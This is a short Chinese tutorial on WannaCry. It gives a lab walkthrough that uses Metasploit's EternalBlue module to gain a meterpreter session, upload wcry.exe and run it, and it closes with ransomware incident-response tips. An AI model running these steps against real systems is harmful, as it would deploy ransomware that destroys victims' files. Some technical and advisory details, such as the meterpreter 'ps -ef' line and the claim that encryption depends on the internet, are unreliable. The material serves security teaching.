模拟WananCry病毒攻击流程

模拟WananCry病毒攻击流程

WannaCry病毒利用了一个叫做“永恒之蓝”的漏洞来入侵计算机系统。这个漏洞最初是由美国国家安全局（NSA）开发的一个工具，用于攻击Windows操作系统中的漏洞。但由于该工具在网络上意外泄露，黑客们也开始利用这个漏洞来入侵计算机系统。

当计算机受到WannaCry病毒攻击时，病毒会加密计算机中的文件，并要求用户支付一定金额的比特币来解锁这些文件。除此之外，病毒还会利用计算机上的漏洞，将自己传播到其他计算机上，以使攻击范围扩大。

WannaCry病毒的攻击原理比较复杂，但是总的来说，它利用了操作系统中的漏洞，通过互联网远程操控计算机来进行攻击。这种攻击方式需要计算机用户安装补丁程序来修复漏洞，以确保计算机的安全。

模拟攻击

​ 攻击机IP：192.168.48.138

​ 靶机IP：192.168.48.137

1.启动msf

​ msfconsole

2.搜索相关模块

​ search ms17-010

​ 使用永恒之蓝进行攻击

​ use exploit/windows/smb/ms17_010_eternalblue

3.上传wannacry勒索病毒文件

​ meterpreter>upload /root/test/wcry.exe

4.执行勒索病毒文件

​ meterpreter>execute -f wcry.exe

5.查看勒索病毒是否运行

​ meterpreter>ps -ef |grep wcry.exe

勒索病毒如何应急响应

如果怀疑自己的计算机中了勒索病毒，建议立即采取以下措施：

1. 切断互联网连接：勒索病毒通常依赖互联网进行传播和加密文件，断网可以防止病毒进一步传播。
2. 立即关闭电脑：勒索病毒会对电脑内的数据文件进行加密，关闭电脑可以避免病毒继续加密文件，防止数据损失。
3. 不要支付赎金：很多勒索病毒会要求受害者支付赎金才愿意解密文件，但这并不是保证文件一定能够成功解密，且会鼓励病毒制造者继续行骗。
4. 寻求专业帮助：建议寻求计算机安全专业人士的帮助，他们可以通过专业的排查工具分析病毒所在，并制定相应的应急响应计划。
5. 恢复备份文件：在电脑被勒索病毒加密之前，如果事先备份了数据文件，可以通过恢复备份文件的方式解决问题。